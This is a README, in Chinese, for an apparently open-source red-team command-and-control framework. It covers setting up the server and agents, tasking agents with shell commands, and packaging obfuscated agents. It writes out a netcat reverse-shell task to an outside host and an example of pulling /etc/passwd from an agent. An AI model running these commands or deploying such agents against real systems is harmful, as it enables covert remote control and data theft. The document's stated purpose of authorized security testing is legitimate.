Commander 是一个用 Python、Flask 和 SQLite 编写的命令与控制框架(C2)。它附带两个代理,分别用 Python 和 C 编写。
持续开发中
不适合脚本小子使用
需要 Python >= 3.6 来运行,以及以下依赖项
Linux 系统运行 admin.py 和 c2_server.py(Windows 上未测试)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

首先创建所需的证书和密钥
# 如果要使用密码保护密钥,请去掉 -nodes 参数
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes
先启动 admin.py 模块以创建本地 SQLite 数据库文件
python3 admin.py
接着运行服务器
python3 c2_server.py
最后运行代理。对于 Python 代理,可以直接运行;对于 C 代理,需要先编译。
# Python 代理
python3 agent.py
# C 代理
gcc agent.c -o agent -lcurl -lb64
./agent
默认情况下,代理和服务器都通过 TLS 和 base64 运行。通信端点设置为 127.0.0.1:5000,如果需要不同的端点,应在代理源代码文件中进行更改。
作为操作员/管理员,你可以使用以下命令来控制你的代理:
命令:
task add arg c2-commands
为某个代理、某个组或所有代理添加任务。
arg:可以取以下值:'all'、'type=Linux|Windows'、'your_uuid'
c2-commands:可能的值为 c2-register、c2-shell、c2-sleep、c2-quit
c2-register:触发代理重新注册。
c2-shell cmd:让代理执行一条 shell 命令。例如 c2-shell whoami
cmd:要执行的命令。
c2-sleep:配置代理检查任务的间隔。
c2-session port:指示代理与该端口上的服务器建立一个 shell 会话。
port:要连接的端口。如果未提供,默认为 5555。
c2-quit:强制代理退出。
task delete arg
删除某个代理或所有代理的任务。
arg:可以取以下值:'all'、'type=Linux|Windows'、'your_uuid'
show agent arg
显示所有可用代理或特定代理的信息。
arg:可以取以下值:'all'、'type=Linux|Windows'、'your_uuid'
show task arg
显示某个代理或所有代理的任务。
arg:可以取以下值:'all'、'type=Linux|Windows'、'your_uuid'
show result arg
显示某个代理或所有代理的历史记录/结果。
arg:可以取以下值:'all'、'type=Linux|Windows'、'your_uuid'
find active agents
删除数据库,以便活动代理重新注册。
exit
再见!
会话:
sessions server arg [port]
控制会话处理器。
arg:可以取以下值:'start'、'stop'、'status'
port:对于 start 参数可选,如果未提供,默认为 5555。此参数定义会话服务器的端口。
sessions select arg
选择要附加到的会话。
arg:来自'sessions list'结果的索引
sessions close arg
关闭一个会话。
arg:来自'sessions list'结果的索引
sessions list
显示可用的会话
local-ls directory
在本地主机上列出所选目录中的文件
download 'file'
将'file'下载到本地当前目录
upload 'file'
将文件上传到代理当前所在的目录
应特别注意'find active agents'命令。该命令会删除所有表并重新创建。听起来可能有点吓人,但其实不然,至少我是这么认为的 :P
此功能背后的思路是:当 C2 服务器无法识别某个代理时,它可以要求该代理重新注册。因此,如果我们想清除数据库中不再使用的旧条目,同时找到所有当前活跃的主机,我们可以删除表并触发 C2 服务器的重新注册机制。有关重新注册机制,请参见下文。
下面是一个正常流程的流程图

当环境遭遇重大故障(如数据库损坏或其他关键故障)时,重新注册机制会被启用,这样我们就不会丢失与代理的连接。
更具体地说,如果我们丢失了数据库,我们将不再拥有关于接收到的 UUID 的任何信息,因此无法为其设置任务等。因此,代理会继续尝试获取任务,而由于我们无法识别它们,我们会要求它们重新注册,这样我们就能将它们插入数据库并再次控制它们。
下面是这种情况的流程图。

要设置环境,先启动 admin.py,然后启动 c2_server.py,再运行代理。之后,你可以检查可用的代理。
# 显示所有可用代理
show agent all
要指示所有代理执行命令 "id",可以这样操作:
# 针对所有代理
task add all c2-shell id
# 检查 "id" 的结果
show result all
要查看某个代理已执行任务的历史记录/先前结果,可以这样操作:
# 检查特定代理的结果
show result 85913eb1245d40eb96cf53eaf0b1e241
你还可以将代理检查任务的间隔改为 30 秒,如下所示:
# 针对所有代理设置
task add all c2-sleep 30
要与你的一台或多台代理建立会话,请执行以下操作:
# 查找代理/UUID
show agent all
# 启用服务器接受连接
sessions server start 5555
# 为你首选的代理添加会话任务
task add 你首选的代理的UUID c2-session 5555
# 显示可用连接列表
sessions list
# 选择附加到其中一个会话,假设选择 0
sessions select 0
# 运行命令
id
# 将 passwd 文件下载到本地
download /etc/passwd
# 在本地列出文件以检查 passwd 是否已创建
local-ls
# 将文件(test.txt)上传到代理所在目录
upload test.txt
# 返回主 CLI
go back
# 检查服务器是否在运行
sessions server status
# 停止会话服务器
sessions server stop
如果出于某种原因你想运行另一个外部会话(例如使用 netcat 或 Metasploit),请执行以下操作:
# 显示所有可用代理
show agent all
# 首先在你的机器上打开一个 netcat
nc -vnlp 4444
# 为特定代理添加一个打开反向 shell 的任务
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444
这样你将获得一个“顽强”的 shell,即使断开连接也会立即重新连接。只有交互式命令才会使其永久失效。
Python 代理使用基本的 AES ECB 加密和 base64 编码提供混淆功能
编辑 obfuscator.py 文件,将 'key' 值更改为 16 字符长度的密钥,以创建自定义有效载荷。新代理的输出位于 Agents/obs_agent.py 中
可以这样运行:
python3 obfuscator.py
# 然后像往常一样运行代理
python3 obs_agent.py
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key
pip install pyinstaller
pyinstaller --onefile agent.py
二进制文件可以在 dist 目录下找到。
如果失败,你可能需要更新 Python 和 pip 库。如果仍然失败,那就是……人生无常了
每次交互都创建新的证书
备份你的 c2.db,这很容易……只是一个文件而已
测试使用了 pytest。你可以这样运行测试:
cd tests/
py.test
注意:你必须在 tests 目录内运行测试,否则你的 c2.db 会被覆盖,导致数据丢失。
要检查代码覆盖率并生成漂亮的 HTML 报告,可以使用以下命令:
# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html
免责声明:此工具仅旨在作为授权安全测试的概念验证演示工具。对未经明确许可的主机使用此工具是违法的。使用此工具造成的任何麻烦由你自行负责。